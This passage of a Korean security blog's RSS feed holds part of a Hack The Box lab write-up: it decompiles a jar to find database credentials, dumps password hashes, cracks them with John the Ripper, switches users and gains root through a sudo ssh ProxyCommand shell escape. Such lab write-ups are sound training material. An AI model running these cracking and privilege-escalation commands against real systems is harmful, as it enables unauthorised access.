&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1896&quot; data-origin-height=&quot;376&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oGVK3/btsEEZvwcbl/FWSgk7sC9yxznlHeYPu9eK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oGVK3/btsEEZvwcbl/FWSgk7sC9yxznlHeYPu9eK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oGVK3/btsEEZvwcbl/FWSgk7sC9yxznlHeYPu9eK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoGVK3%2FbtsEEZvwcbl%2FFWSgk7sC9yxznlHeYPu9eK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1896&quot; height=&quot;376&quot; data-origin-width=&quot;1896&quot; data-origin-height=&quot;376&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자(kail)에서 .jar 파일을 다운받는다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707749160232&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;jd-gui cloudhosting-0.0.1.jar&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1909&quot; data-origin-height=&quot;125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcL6Cg/btsEIQX9iUd/jtzGjjMoiaHPwhSKKSCWT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcL6Cg/btsEIQX9iUd/jtzGjjMoiaHPwhSKKSCWT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcL6Cg/btsEIQX9iUd/jtzGjjMoiaHPwhSKKSCWT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcL6Cg%2FbtsEIQX9iUd%2FjtzGjjMoiaHPwhSKKSCWT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1909&quot; height=&quot;125&quot; data-origin-width=&quot;1909&quot; data-origin-height=&quot;125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1602&quot; data-origin-height=&quot;499&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/649H6/btsEFcOUovi/sXRqvE2qVFwpWixtiGmr50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/649H6/btsEFcOUovi/sXRqvE2qVFwpWixtiGmr50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/649H6/btsEFcOUovi/sXRqvE2qVFwpWixtiGmr50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F649H6%2FbtsEFcOUovi%2FsXRqvE2qVFwpWixtiGmr50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1602&quot; height=&quot;499&quot; data-origin-width=&quot;1602&quot; data-origin-height=&quot;499&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'jd-gui'는 .jar 파일을 분석할 수 있는 도구이다. 'application.properties' &lt;span style=&quot;color: #3b3f4e; text-align: left;&quot;&gt;는 일반적으로 스프링 부트(Spring Boot)와 같은 Java 기반 애플리케이션에서 사용하는 설정 파일이다. 해당 파일에서 DB(postgres)정보를 알 수 있었고 DB에 접속할것이다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707748042251&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;psql -h 127.0.0.1 -U postgres&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1906&quot; data-origin-height=&quot;131&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/luYxh/btsEM0FVV7v/hJ4RKK5Z72g7FCiGd43atK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/luYxh/btsEM0FVV7v/hJ4RKK5Z72g7FCiGd43atK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/luYxh/btsEM0FVV7v/hJ4RKK5Z72g7FCiGd43atK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FluYxh%2FbtsEM0FVV7v%2FhJ4RKK5Z72g7FCiGd43atK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1906&quot; height=&quot;131&quot; data-origin-width=&quot;1906&quot; data-origin-height=&quot;131&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reverse shell로 연결되어 있는 공격 대상에서 psql 접속한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707748213334&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;\d&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1903&quot; data-origin-height=&quot;365&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mq5dj/btsEE2llqXX/takPOWBEluDWfdaVZFEyK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mq5dj/btsEE2llqXX/takPOWBEluDWfdaVZFEyK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mq5dj/btsEE2llqXX/takPOWBEluDWfdaVZFEyK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fmq5dj%2FbtsEE2llqXX%2FtakPOWBEluDWfdaVZFEyK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1903&quot; height=&quot;365&quot; data-origin-width=&quot;1903&quot; data-origin-height=&quot;365&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #24292f; text-align: left;&quot;&gt;'/d'는현재 데이터베이스에 있는 모든 테이블, 뷰, 시퀀스, 인덱스 등의 목록을 조회한다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707748222245&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;select * from users;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1909&quot; data-origin-height=&quot;257&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfZNbn/btsEHo8ERLB/pmBFiOIT2AqGM2RFzhDy31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfZNbn/btsEHo8ERLB/pmBFiOIT2AqGM2RFzhDy31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfZNbn/btsEHo8ERLB/pmBFiOIT2AqGM2RFzhDy31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfZNbn%2FbtsEHo8ERLB%2FpmBFiOIT2AqGM2RFzhDy31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1909&quot; height=&quot;257&quot; data-origin-width=&quot;1909&quot; data-origin-height=&quot;257&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'users' 테이블의 모든 정보를 조회했는데 hash된 패스워드를 확인할 수 있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.4. Hash PW Crack&lt;/h4&gt;
&lt;pre id=&quot;code_1707749837902&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo mousepad hashes.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;148&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsmd0Z/btsEF6OaHDL/GJIeSYFtRjkAOowMm2JQxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsmd0Z/btsEF6OaHDL/GJIeSYFtRjkAOowMm2JQxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsmd0Z/btsEF6OaHDL/GJIeSYFtRjkAOowMm2JQxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbsmd0Z%2FbtsEF6OaHDL%2FGJIeSYFtRjkAOowMm2JQxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2022&quot; height=&quot;148&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;148&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패스워드를 hashes.txt 파일에 복사 붙여넣기한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707749816888&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
cat ~/.john/john.pot&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1905&quot; data-origin-height=&quot;434&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nb8hz/btsEE3R4KHj/jMTbQkHOGTyB4KvbFeQkZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nb8hz/btsEE3R4KHj/jMTbQkHOGTyB4KvbFeQkZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nb8hz/btsEE3R4KHj/jMTbQkHOGTyB4KvbFeQkZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fnb8hz%2FbtsEE3R4KHj%2FjMTbQkHOGTyB4KvbFeQkZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1905&quot; height=&quot;434&quot; data-origin-width=&quot;1905&quot; data-origin-height=&quot;434&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'john' 도구를 사용해서 'hashes.txt'에 hash된 패스워드를 크래킹할 수 있다. 해당 이미지는 사전에 크랙하여 남아있는 패스워드가 없어서 출력되는 메시지이다.&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707748190849&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ls -al /home&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1907&quot; data-origin-height=&quot;256&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bny14m/btsEE0ViTDY/MyOodLvAHghiZprNHvlTlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bny14m/btsEE0ViTDY/MyOodLvAHghiZprNHvlTlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bny14m/btsEE0ViTDY/MyOodLvAHghiZprNHvlTlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbny14m%2FbtsEE0ViTDY%2FMyOodLvAHghiZprNHvlTlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1907&quot; height=&quot;256&quot; data-origin-width=&quot;1907&quot; data-origin-height=&quot;256&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'/home'&lt;span style=&quot;color: #3b3f4e; text-align: left;&quot;&gt; 디렉토리는 일반 사용자 계정의 홈 디렉터리를 저장하기 위한 장소로 사용된다. 'josh' 계정을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707748288014&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;su josh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1902&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B6wUE/btsELrwTCjz/vHzg4KR6sYWFT9AUPiNge1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B6wUE/btsELrwTCjz/vHzg4KR6sYWFT9AUPiNge1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B6wUE/btsELrwTCjz/vHzg4KR6sYWFT9AUPiNge1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB6wUE%2FbtsELrwTCjz%2FvHzg4KR6sYWFT9AUPiNge1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1902&quot; height=&quot;130&quot; data-origin-width=&quot;1902&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'josh' 계정으로 변경해볼것이다. 사용되는 패스워드는 'john'도구를 사용해서 크래킹한 패스워드이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707748337275&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;python3 -c 'import pty;pty.spawn(&quot;/bin/bash&quot;)'&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;43&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dKYEZ9/btsEIO0lnUe/xbvksN9DyHjWyPZPCG8XO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dKYEZ9/btsEIO0lnUe/xbvksN9DyHjWyPZPCG8XO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dKYEZ9/btsEIO0lnUe/xbvksN9DyHjWyPZPCG8XO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdKYEZ9%2FbtsEIO0lnUe%2FxbvksN9DyHjWyPZPCG8XO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1911&quot; height=&quot;43&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;43&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #3b3f4e; text-align: left;&quot;&gt;Python을 사용하여 새로운 bash 셸을 생성하는 명령어이다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1907&quot; data-origin-height=&quot;332&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bodBh4/btsEHIlE8Cq/WEaJuM6vPzhA3SlvrZwgOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bodBh4/btsEHIlE8Cq/WEaJuM6vPzhA3SlvrZwgOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bodBh4/btsEHIlE8Cq/WEaJuM6vPzhA3SlvrZwgOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbodBh4%2FbtsEHIlE8Cq%2FWEaJuM6vPzhA3SlvrZwgOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1907&quot; height=&quot;332&quot; data-origin-width=&quot;1907&quot; data-origin-height=&quot;332&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'user.txt' 파일을 확인해보니 해당 flag를 확인할 수 있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;3. 권한 상승&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.1. SSH을 통한 권한 상승&lt;/h4&gt;
&lt;pre id=&quot;code_1707748480424&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo -l&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;459&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1XCGf/btsEHFWLa8u/D1j2zc5wPrzHVvy6KJKuZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1XCGf/btsEHFWLa8u/D1j2zc5wPrzHVvy6KJKuZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1XCGf/btsEHFWLa8u/D1j2zc5wPrzHVvy6KJKuZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1XCGf%2FbtsEHFWLa8u%2FD1j2zc5wPrzHVvy6KJKuZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1911&quot; height=&quot;459&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;459&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #3b3f4e; text-align: left;&quot;&gt;현재 사용자가 &lt;/span&gt;sudo&lt;span style=&quot;color: #3b3f4e; text-align: left;&quot;&gt; 명령어를 사용하여 실행할 수 있는 명령어 목록을 보여준다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;figure id=&quot;og_1707752547698&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;ssh
            
            |
            
            GTFOBins&quot; data-og-description=&quot;Spawn interactive shell on client, requires a successful connection towards host. ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host&quot; data-og-host=&quot;gtfobins.github.io&quot; data-og-source-url=&quot;https://gtfobins.github.io/gtfobins/ssh/#sudo&quot; data-og-url=&quot;https://gtfobins.github.io/gtfobins/ssh/#sudo&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://gtfobins.github.io/gtfobins/ssh/#sudo&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://gtfobins.github.io/gtfobins/ssh/#sudo&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;ssh | GTFOBins&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Spawn interactive shell on client, requires a successful connection towards host. ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;gtfobins.github.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;pre id=&quot;code_1707748527092&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo ssh -o ProxyCommand=';sh 0&amp;lt;&amp;amp;2 1&amp;gt;&amp;amp;2' x&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1913&quot; data-origin-height=&quot;211&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/egkPOF/btsEKGVfCk9/z1krdVjSzBL2mnxolIDWik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/egkPOF/btsEKGVfCk9/z1krdVjSzBL2mnxolIDWik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/egkPOF/btsEKGVfCk9/z1krdVjSzBL2mnxolIDWik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FegkPOF%2FbtsEKGVfCk9%2Fz1krdVjSzBL2mnxolIDWik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1913&quot; height=&quot;211&quot; data-origin-width=&quot;1913&quot; data-origin-height=&quot;211&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ssh에서 sudo&lt;span style=&quot;color: #3b3f4e; text-align: left;&quot;&gt; 권한으로 새로운 셸을 획득하여 시스템에서 권한 상승을 할수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1707748438491&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;find / -name &quot;root.txt&quot; 2&amp;gt;/dev/null&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1905&quot; data-origin-height=&quot;250&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bV69e2/btsEMZUz3tg/okhbn8hWy4WSraOT50zi20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bV69e2/btsEMZUz3tg/okhbn8hWy4WSraOT50zi20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bV69e2/btsEMZUz3tg/okhbn8hWy4WSraOT50zi20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbV69e2%2FbtsEMZUz3tg%2Fokhbn8hWy4WSraOT50zi20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1905&quot; height=&quot;250&quot; data-origin-width=&quot;1905&quot; data-origin-height=&quot;250&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'root.txt' flag 정보를 마지막으로 확인할 수 있다.&lt;/p&gt;</description>
      <category>문제풀이/Hack The Box</category>
      <author>Kwon Oh! JUN</author>
      <guid isPermaLink="true">https://securitystudy.tistory.com/161</guid>
      <comments>https://securitystudy.tistory.com/161#entry161comment</comments>
      <pubDate>Tue, 13 Feb 2024 00:56:30 +0900</pubDate>
    </item>
    <item>
      <title>[Hack The Box] Keeper</title>
      <link>https://securitystudy.tistory.com/160</link>
